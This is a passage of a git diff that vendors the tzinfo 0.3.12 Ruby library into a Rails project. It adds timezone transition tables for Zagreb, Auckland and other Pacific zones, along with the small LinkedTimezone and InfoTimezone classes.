tz.transition 2004, 3, :o3, 1080435600 + tz.transition 2004, 10, :o2, 1099184400 + tz.transition 2005, 3, :o3, 1111885200 + tz.transition 2005, 10, :o2, 1130634000 + tz.transition 2006, 3, :o3, 1143334800 + tz.transition 2006, 10, :o2, 1162083600 + tz.transition 2007, 3, :o3, 1174784400 + tz.transition 2007, 10, :o2, 1193533200 + tz.transition 2008, 3, :o3, 1206838800 + tz.transition 2008, 10, :o2, 1224982800 + tz.transition 2009, 3, :o3, 1238288400 + tz.transition 2009, 10, :o2, 1256432400 + tz.transition 2010, 3, :o3, 1269738000 + tz.transition 2010, 10, :o2, 1288486800 + tz.transition 2011, 3, :o3, 1301187600 + tz.transition 2011, 10, :o2, 1319936400 + tz.transition 2012, 3, :o3, 1332637200 + tz.transition 2012, 10, :o2, 1351386000 + tz.transition 2013, 3, :o3, 1364691600 + tz.transition 2013, 10, :o2, 1382835600 + tz.transition 2014, 3, :o3, 1396141200 + tz.transition 2014, 10, :o2, 1414285200 + tz.transition 2015, 3, :o3, 1427590800 + tz.transition 2015, 10, :o2, 1445734800 + tz.transition 2016, 3, :o3, 1459040400 + tz.transition 2016, 10, :o2, 1477789200 + tz.transition 2017, 3, :o3, 1490490000 + tz.transition 2017, 10, :o2, 1509238800 + tz.transition 2018, 3, :o3, 1521939600 + tz.transition 2018, 10, :o2, 1540688400 + tz.transition 2019, 3, :o3, 1553994000 + tz.transition 2019, 10, :o2, 1572138000 + tz.transition 2020, 3, :o3, 1585443600 + tz.transition 2020, 10, :o2, 1603587600 + tz.transition 2021, 3, :o3, 1616893200 + tz.transition 2021, 10, :o2, 1635642000 + tz.transition 2022, 3, :o3, 1648342800 + tz.transition 2022, 10, :o2, 1667091600 + tz.transition 2023, 3, :o3, 1679792400 + tz.transition 2023, 10, :o2, 1698541200 + tz.transition 2024, 3, :o3, 1711846800 + tz.transition 2024, 10, :o2, 1729990800 + tz.transition 2025, 3, :o3, 1743296400 + tz.transition 2025, 10, :o2, 1761440400 + tz.transition 2026, 3, :o3, 1774746000 + tz.transition 2026, 10, :o2, 1792890000 + tz.transition 2027, 3, :o3, 1806195600 + tz.transition 2027, 10, :o2, 1824944400 + tz.transition 2028, 3, :o3, 1837645200 + tz.transition 2028, 10, :o2, 1856394000 + tz.transition 2029, 3, :o3, 1869094800 + tz.transition 2029, 10, :o2, 1887843600 + tz.transition 2030, 3, :o3, 1901149200 + tz.transition 2030, 10, :o2, 1919293200 + tz.transition 2031, 3, :o3, 1932598800 + tz.transition 2031, 10, :o2, 1950742800 + tz.transition 2032, 3, :o3, 1964048400 + tz.transition 2032, 10, :o2, 1982797200 + tz.transition 2033, 3, :o3, 1995498000 + tz.transition 2033, 10, :o2, 2014246800 + tz.transition 2034, 3, :o3, 2026947600 + tz.transition 2034, 10, :o2, 2045696400 + tz.transition 2035, 3, :o3, 2058397200 + tz.transition 2035, 10, :o2, 2077146000 + tz.transition 2036, 3, :o3, 2090451600 + tz.transition 2036, 10, :o2, 2108595600 + tz.transition 2037, 3, :o3, 2121901200 + tz.transition 2037, 10, :o2, 2140045200 + tz.transition 2038, 3, :o3, 59172253, 24 + tz.transition 2038, 10, :o2, 59177461, 24 + tz.transition 2039, 3, :o3, 59180989, 24 + tz.transition 2039, 10, :o2, 59186197, 24 + tz.transition 2040, 3, :o3, 59189725, 24 + tz.transition 2040, 10, :o2, 59194933, 24 + tz.transition 2041, 3, :o3, 59198629, 24 + tz.transition 2041, 10, :o2, 59203669, 24 + tz.transition 2042, 3, :o3, 59207365, 24 + tz.transition 2042, 10, :o2, 59212405, 24 + tz.transition 2043, 3, :o3, 59216101, 24 + tz.transition 2043, 10, :o2, 59221141, 24 + tz.transition 2044, 3, :o3, 59224837, 24 + tz.transition 2044, 10, :o2, 59230045, 24 + tz.transition 2045, 3, :o3, 59233573, 24 + tz.transition 2045, 10, :o2, 59238781, 24 + tz.transition 2046, 3, :o3, 59242309, 24 + tz.transition 2046, 10, :o2, 59247517, 24 + tz.transition 2047, 3, :o3, 59251213, 24 + tz.transition 2047, 10, :o2, 59256253, 24 + tz.transition 2048, 3, :o3, 59259949, 24 + tz.transition 2048, 10, :o2, 59264989, 24 + tz.transition 2049, 3, :o3, 59268685, 24 + tz.transition 2049, 10, :o2, 59273893, 24 + tz.transition 2050, 3, :o3, 59277421, 24 + tz.transition 2050, 10, :o2, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Zagreb.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Zagreb.rb new file mode 100644 index 00000000..ecdd903d --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Zagreb.rb @@ -0,0 +1,13 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Zagreb + include TimezoneDefinition + + linked_timezone 'Europe/Zagreb', 'Europe/Belgrade' + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Auckland.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Auckland.rb new file mode 100644 index 00000000..a524fd6b --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Auckland.rb @@ -0,0 +1,202 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Pacific + module Auckland + include TimezoneDefinition + + timezone 'Pacific/Auckland' do |tz| + tz.offset :o0, 41944, 0, :LMT + tz.offset :o1, 41400, 0, :NZMT + tz.offset :o2, 41400, 3600, :NZST + tz.offset :o3, 41400, 1800, :NZST + tz.offset :o4, 43200, 0, :NZST + tz.offset :o5, 43200, 3600, :NZDT + + tz.transition 1868, 11, :o1, 25959290557, 10800 + tz.transition 1927, 11, :o2, 116409125, 48 + tz.transition 1928, 3, :o1, 38804945, 16 + tz.transition 1928, 10, :o3, 116425589, 48 + tz.transition 1929, 3, :o1, 29108245, 12 + tz.transition 1929, 10, :o3, 116443061, 48 + tz.transition 1930, 3, :o1, 29112613, 12 + tz.transition 1930, 10, :o3, 116460533, 48 + tz.transition 1931, 3, :o1, 29116981, 12 + tz.transition 1931, 10, :o3, 116478005, 48 + tz.transition 1932, 3, :o1, 29121433, 12 + tz.transition 1932, 10, :o3, 116495477, 48 + tz.transition 1933, 3, :o1, 29125801, 12 + tz.transition 1933, 10, :o3, 116512949, 48 + tz.transition 1934, 4, :o1, 29130673, 12 + tz.transition 1934, 9, :o3, 116530085, 48 + tz.transition 1935, 4, :o1, 29135041, 12 + tz.transition 1935, 9, :o3, 116547557, 48 + tz.transition 1936, 4, :o1, 29139409, 12 + tz.transition 1936, 9, :o3, 116565029, 48 + tz.transition 1937, 4, :o1, 29143777, 12 + tz.transition 1937, 9, :o3, 116582501, 48 + tz.transition 1938, 4, :o1, 29148145, 12 + tz.transition 1938, 9, :o3, 116599973, 48 + tz.transition 1939, 4, :o1, 29152597, 12 + tz.transition 1939, 9, :o3, 116617445, 48 + tz.transition 1940, 4, :o1, 29156965, 12 + tz.transition 1940, 9, :o3, 116635253, 48 + tz.transition 1945, 12, :o4, 2431821, 1 + tz.transition 1974, 11, :o5, 152632800 + tz.transition 1975, 2, :o4, 162309600 + tz.transition 1975, 10, :o5, 183477600 + tz.transition 1976, 3, :o4, 194968800 + tz.transition 1976, 10, :o5, 215532000 + tz.transition 1977, 3, :o4, 226418400 + tz.transition 1977, 10, :o5, 246981600 + tz.transition 1978, 3, :o4, 257868000 + tz.transition 1978, 10, :o5, 278431200 + tz.transition 1979, 3, :o4, 289317600 + tz.transition 1979, 10, :o5, 309880800 + tz.transition 1980, 3, :o4, 320767200 + tz.transition 1980, 10, :o5, 341330400 + tz.transition 1981, 2, :o4, 352216800 + tz.transition 1981, 10, :o5, 372780000 + tz.transition 1982, 3, :o4, 384271200 + tz.transition 1982, 10, :o5, 404834400 + tz.transition 1983, 3, :o4, 415720800 + tz.transition 1983, 10, :o5, 436284000 + tz.transition 1984, 3, :o4, 447170400 + tz.transition 1984, 10, :o5, 467733600 + tz.transition 1985, 3, :o4, 478620000 + tz.transition 1985, 10, :o5, 499183200 + tz.transition 1986, 3, :o4, 510069600 + tz.transition 1986, 10, :o5, 530632800 + tz.transition 1987, 2, :o4, 541519200 + tz.transition 1987, 10, :o5, 562082400 + tz.transition 1988, 3, :o4, 573573600 + tz.transition 1988, 10, :o5, 594136800 + tz.transition 1989, 3, :o4, 605023200 + tz.transition 1989, 10, :o5, 623772000 + tz.transition 1990, 3, :o4, 637682400 + tz.transition 1990, 10, :o5, 655221600 + tz.transition 1991, 3, :o4, 669132000 + tz.transition 1991, 10, :o5, 686671200 + tz.transition 1992, 3, :o4, 700581600 + tz.transition 1992, 10, :o5, 718120800 + tz.transition 1993, 3, :o4, 732636000 + tz.transition 1993, 10, :o5, 749570400 + tz.transition 1994, 3, :o4, 764085600 + tz.transition 1994, 10, :o5, 781020000 + tz.transition 1995, 3, :o4, 795535200 + tz.transition 1995, 9, :o5, 812469600 + tz.transition 1996, 3, :o4, 826984800 + tz.transition 1996, 10, :o5, 844524000 + tz.transition 1997, 3, :o4, 858434400 + tz.transition 1997, 10, :o5, 875973600 + tz.transition 1998, 3, :o4, 889884000 + tz.transition 1998, 10, :o5, 907423200 + tz.transition 1999, 3, :o4, 921938400 + tz.transition 1999, 10, :o5, 938872800 + tz.transition 2000, 3, :o4, 953388000 + tz.transition 2000, 9, :o5, 970322400 + tz.transition 2001, 3, :o4, 984837600 + tz.transition 2001, 10, :o5, 1002376800 + tz.transition 2002, 3, :o4, 1016287200 + tz.transition 2002, 10, :o5, 1033826400 + tz.transition 2003, 3, :o4, 1047736800 + tz.transition 2003, 10, :o5, 1065276000 + tz.transition 2004, 3, :o4, 1079791200 + tz.transition 2004, 10, :o5, 1096725600 + tz.transition 2005, 3, :o4, 1111240800 + tz.transition 2005, 10, :o5, 1128175200 + tz.transition 2006, 3, :o4, 1142690400 + tz.transition 2006, 9, :o5, 1159624800 + tz.transition 2007, 3, :o4, 1174140000 + tz.transition 2007, 9, :o5, 1191074400 + tz.transition 2008, 4, :o4, 1207404000 + tz.transition 2008, 9, :o5, 1222524000 + tz.transition 2009, 4, :o4, 1238853600 + tz.transition 2009, 9, :o5, 1253973600 + tz.transition 2010, 4, :o4, 1270303200 + tz.transition 2010, 9, :o5, 1285423200 + tz.transition 2011, 4, :o4, 1301752800 + tz.transition 2011, 9, :o5, 1316872800 + tz.transition 2012, 3, :o4, 1333202400 + tz.transition 2012, 9, :o5, 1348927200 + tz.transition 2013, 4, :o4, 1365256800 + tz.transition 2013, 9, :o5, 1380376800 + tz.transition 2014, 4, :o4, 1396706400 + tz.transition 2014, 9, :o5, 1411826400 + tz.transition 2015, 4, :o4, 1428156000 + tz.transition 2015, 9, :o5, 1443276000 + tz.transition 2016, 4, :o4, 1459605600 + tz.transition 2016, 9, :o5, 1474725600 + tz.transition 2017, 4, :o4, 1491055200 + tz.transition 2017, 9, :o5, 1506175200 + tz.transition 2018, 3, :o4, 1522504800 + tz.transition 2018, 9, :o5, 1538229600 + tz.transition 2019, 4, :o4, 1554559200 + tz.transition 2019, 9, :o5, 1569679200 + tz.transition 2020, 4, :o4, 1586008800 + tz.transition 2020, 9, :o5, 1601128800 + tz.transition 2021, 4, :o4, 1617458400 + tz.transition 2021, 9, :o5, 1632578400 + tz.transition 2022, 4, :o4, 1648908000 + tz.transition 2022, 9, :o5, 1664028000 + tz.transition 2023, 4, :o4, 1680357600 + tz.transition 2023, 9, :o5, 1695477600 + tz.transition 2024, 4, :o4, 1712412000 + tz.transition 2024, 9, :o5, 1727532000 + tz.transition 2025, 4, :o4, 1743861600 + tz.transition 2025, 9, :o5, 1758981600 + tz.transition 2026, 4, :o4, 1775311200 + tz.transition 2026, 9, :o5, 1790431200 + tz.transition 2027, 4, :o4, 1806760800 + tz.transition 2027, 9, :o5, 1821880800 + tz.transition 2028, 4, :o4, 1838210400 + tz.transition 2028, 9, :o5, 1853330400 + tz.transition 2029, 3, :o4, 1869660000 + tz.transition 2029, 9, :o5, 1885384800 + tz.transition 2030, 4, :o4, 1901714400 + tz.transition 2030, 9, :o5, 1916834400 + tz.transition 2031, 4, :o4, 1933164000 + tz.transition 2031, 9, :o5, 1948284000 + tz.transition 2032, 4, :o4, 1964613600 + tz.transition 2032, 9, :o5, 1979733600 + tz.transition 2033, 4, :o4, 1996063200 + tz.transition 2033, 9, :o5, 2011183200 + tz.transition 2034, 4, :o4, 2027512800 + tz.transition 2034, 9, :o5, 2042632800 + tz.transition 2035, 3, :o4, 2058962400 + tz.transition 2035, 9, :o5, 2074687200 + tz.transition 2036, 4, :o4, 2091016800 + tz.transition 2036, 9, :o5, 2106136800 + tz.transition 2037, 4, :o4, 2122466400 + tz.transition 2037, 9, :o5, 2137586400 + tz.transition 2038, 4, :o4, 29586205, 12 + tz.transition 2038, 9, :o5, 29588305, 12 + tz.transition 2039, 4, :o4, 29590573, 12 + tz.transition 2039, 9, :o5, 29592673, 12 + tz.transition 2040, 3, :o4, 29594941, 12 + tz.transition 2040, 9, :o5, 29597125, 12 + tz.transition 2041, 4, :o4, 29599393, 12 + tz.transition 2041, 9, :o5, 29601493, 12 + tz.transition 2042, 4, :o4, 29603761, 12 + tz.transition 2042, 9, :o5, 29605861, 12 + tz.transition 2043, 4, :o4, 29608129, 12 + tz.transition 2043, 9, :o5, 29610229, 12 + tz.transition 2044, 4, :o4, 29612497, 12 + tz.transition 2044, 9, :o5, 29614597, 12 + tz.transition 2045, 4, :o4, 29616865, 12 + tz.transition 2045, 9, :o5, 29618965, 12 + tz.transition 2046, 3, :o4, 29621233, 12 + tz.transition 2046, 9, :o5, 29623417, 12 + tz.transition 2047, 4, :o4, 29625685, 12 + tz.transition 2047, 9, :o5, 29627785, 12 + tz.transition 2048, 4, :o4, 29630053, 12 + tz.transition 2048, 9, :o5, 29632153, 12 + tz.transition 2049, 4, :o4, 29634421, 12 + tz.transition 2049, 9, :o5, 29636521, 12 + tz.transition 2050, 4, :o4, 29638789, 12 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Fiji.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Fiji.rb new file mode 100644 index 00000000..5fe9bbd9 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Fiji.rb @@ -0,0 +1,23 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Pacific + module Fiji + include TimezoneDefinition + + timezone 'Pacific/Fiji' do |tz| + tz.offset :o0, 42820, 0, :LMT + tz.offset :o1, 43200, 0, :FJT + tz.offset :o2, 43200, 3600, :FJST + + tz.transition 1915, 10, :o1, 10457838739, 4320 + tz.transition 1998, 10, :o2, 909842400 + tz.transition 1999, 2, :o1, 920124000 + tz.transition 1999, 11, :o2, 941896800 + tz.transition 2000, 2, :o1, 951573600 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Guam.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Guam.rb new file mode 100644 index 00000000..d4c1a0a6 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Guam.rb @@ -0,0 +1,22 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Pacific + module Guam + include TimezoneDefinition + + timezone 'Pacific/Guam' do |tz| + tz.offset :o0, -51660, 0, :LMT + tz.offset :o1, 34740, 0, :LMT + tz.offset :o2, 36000, 0, :GST + tz.offset :o3, 36000, 0, :ChST + + tz.transition 1844, 12, :o1, 1149567407, 480 + tz.transition 1900, 12, :o2, 1159384847, 480 + tz.transition 2000, 12, :o3, 977493600 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Honolulu.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Honolulu.rb new file mode 100644 index 00000000..204b2265 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Honolulu.rb @@ -0,0 +1,28 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Pacific + module Honolulu + include TimezoneDefinition + + timezone 'Pacific/Honolulu' do |tz| + tz.offset :o0, -37886, 0, :LMT + tz.offset :o1, -37800, 0, :HST + tz.offset :o2, -37800, 3600, :HDT + tz.offset :o3, -37800, 3600, :HWT + tz.offset :o4, -37800, 3600, :HPT + tz.offset :o5, -36000, 0, :HST + + tz.transition 1900, 1, :o1, 104328926143, 43200 + tz.transition 1933, 4, :o2, 116505265, 48 + tz.transition 1933, 5, :o1, 116506271, 48 + tz.transition 1942, 2, :o3, 116659201, 48 + tz.transition 1945, 8, :o4, 58360379, 24 + tz.transition 1945, 9, :o1, 116722991, 48 + tz.transition 1947, 6, :o5, 116752561, 48 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Majuro.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Majuro.rb new file mode 100644 index 00000000..32adad92 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Majuro.rb @@ -0,0 +1,20 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Pacific + module Majuro + include TimezoneDefinition + + timezone 'Pacific/Majuro' do |tz| + tz.offset :o0, 41088, 0, :LMT + tz.offset :o1, 39600, 0, :MHT + tz.offset :o2, 43200, 0, :MHT + + tz.transition 1900, 12, :o1, 1086923261, 450 + tz.transition 1969, 9, :o2, 58571881, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Midway.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Midway.rb new file mode 100644 index 00000000..97784fcc --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Midway.rb @@ -0,0 +1,25 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Pacific + module Midway + include TimezoneDefinition + + timezone 'Pacific/Midway' do |tz| + tz.offset :o0, -42568, 0, :LMT + tz.offset :o1, -39600, 0, :NST + tz.offset :o2, -39600, 3600, :NDT + tz.offset :o3, -39600, 0, :BST + tz.offset :o4, -39600, 0, :SST + + tz.transition 1901, 1, :o1, 26086168721, 10800 + tz.transition 1956, 6, :o2, 58455071, 24 + tz.transition 1956, 9, :o1, 29228627, 12 + tz.transition 1967, 4, :o3, 58549967, 24 + tz.transition 1983, 11, :o4, 439038000 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Noumea.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Noumea.rb new file mode 100644 index 00000000..70173db8 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Noumea.rb @@ -0,0 +1,25 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Pacific + module Noumea + include TimezoneDefinition + + timezone 'Pacific/Noumea' do |tz| + tz.offset :o0, 39948, 0, :LMT + tz.offset :o1, 39600, 0, :NCT + tz.offset :o2, 39600, 3600, :NCST + + tz.transition 1912, 1, :o1, 17419781071, 7200 + tz.transition 1977, 12, :o2, 250002000 + tz.transition 1978, 2, :o1, 257342400 + tz.transition 1978, 12, :o2, 281451600 + tz.transition 1979, 2, :o1, 288878400 + tz.transition 1996, 11, :o2, 849366000 + tz.transition 1997, 3, :o1, 857228400 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Pago_Pago.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Pago_Pago.rb new file mode 100644 index 00000000..c8fcd7d5 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Pago_Pago.rb @@ -0,0 +1,26 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Pacific + module Pago_Pago + include TimezoneDefinition + + timezone 'Pacific/Pago_Pago' do |tz| + tz.offset :o0, 45432, 0, :LMT + tz.offset :o1, -40968, 0, :LMT + tz.offset :o2, -41400, 0, :SAMT + tz.offset :o3, -39600, 0, :NST + tz.offset :o4, -39600, 0, :BST + tz.offset :o5, -39600, 0, :SST + + tz.transition 1879, 7, :o1, 2889041969, 1200 + tz.transition 1911, 1, :o2, 2902845569, 1200 + tz.transition 1950, 1, :o3, 116797583, 48 + tz.transition 1967, 4, :o4, 58549967, 24 + tz.transition 1983, 11, :o5, 439038000 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Port_Moresby.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Port_Moresby.rb new file mode 100644 index 00000000..f06cf6d5 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Port_Moresby.rb @@ -0,0 +1,20 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Pacific + module Port_Moresby + include TimezoneDefinition + + timezone 'Pacific/Port_Moresby' do |tz| + tz.offset :o0, 35320, 0, :LMT + tz.offset :o1, 35312, 0, :PMMT + tz.offset :o2, 36000, 0, :PGT + + tz.transition 1879, 12, :o1, 5200664597, 2160 + tz.transition 1894, 12, :o2, 13031248093, 5400 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Tongatapu.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Tongatapu.rb new file mode 100644 index 00000000..7578d92f --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Tongatapu.rb @@ -0,0 +1,27 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Pacific + module Tongatapu + include TimezoneDefinition + + timezone 'Pacific/Tongatapu' do |tz| + tz.offset :o0, 44360, 0, :LMT + tz.offset :o1, 44400, 0, :TOT + tz.offset :o2, 46800, 0, :TOT + tz.offset :o3, 46800, 3600, :TOST + + tz.transition 1900, 12, :o1, 5217231571, 2160 + tz.transition 1940, 12, :o2, 174959639, 72 + tz.transition 1999, 10, :o3, 939214800 + tz.transition 2000, 3, :o2, 953384400 + tz.transition 2000, 11, :o3, 973342800 + tz.transition 2001, 1, :o2, 980596800 + tz.transition 2001, 11, :o3, 1004792400 + tz.transition 2002, 1, :o2, 1012046400 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/info_timezone.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/info_timezone.rb new file mode 100644 index 00000000..001303c5 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/info_timezone.rb @@ -0,0 +1,52 @@ +#-- +# Copyright (c) 2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +require 'tzinfo/timezone' + +module TZInfo + + # A Timezone based on a TimezoneInfo. + class InfoTimezone < Timezone #:nodoc: + + # Constructs a new InfoTimezone with a TimezoneInfo instance. + def self.new(info) + tz = super() + tz.send(:setup, info) + tz + end + + # The identifier of the timezone, e.g. "Europe/Paris". + def identifier + @info.identifier + end + + protected + # The TimezoneInfo for this Timezone. + def info + @info + end + + def setup(info) + @info = info + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone.rb new file mode 100644 index 00000000..f8ec4fca --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone.rb @@ -0,0 +1,51 @@ +#-- +# Copyright (c) 2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +require 'tzinfo/info_timezone' + +module TZInfo + + class LinkedTimezone < InfoTimezone #:nodoc: + # Returns the TimezonePeriod for the given UTC time. utc can either be + # a DateTime, Time or integer timestamp (Time.to_i). Any timezone + # information in utc is ignored (it is treated as a UTC time). + # + # If no TimezonePeriod could be found, PeriodNotFound is raised. + def period_for_utc(utc) + @linked_timezone.period_for_utc(utc) + end + + # Returns the set of TimezonePeriod instances that are valid for the given + # local time as an array. If you just want a single period, use + # period_for_local instead and specify how abiguities should be resolved. + # Raises PeriodNotFound if no periods are found for the given time. + def periods_for_local(local) + @linked_timezone.periods_for_local(local) + end + + protected + def setup(info) + super(info) + @linked_timezone = Timezone.get(info.link_to_identifier) + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone_info.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone_info.rb new file mode 100644 index 00000000..8197ff3e --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone_info.rb @@ -0,0 +1,44 @@ +#-- +# Copyright (c) 2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +require 'tzinfo/timezone_info' + +module TZInfo + # Represents a linked timezone defined in a data module. + class LinkedTimezoneInfo < TimezoneInfo #:nodoc: + + # The zone that provides the data (that this zone is an alias for). + attr_reader :link_to_identifier + + # Constructs a new TimezoneInfo with an identifier and the identifier + # of the zone linked to. + def initialize(identifier, link_to_identifier) + super(identifier) + @link_to_identifier = link_to_identifier + end + + # Returns internal object state as a programmer-readable string. + def inspect + "#<#{self.class}: #@identifier,#@link_to_identifier>" + end + end +end diff --git 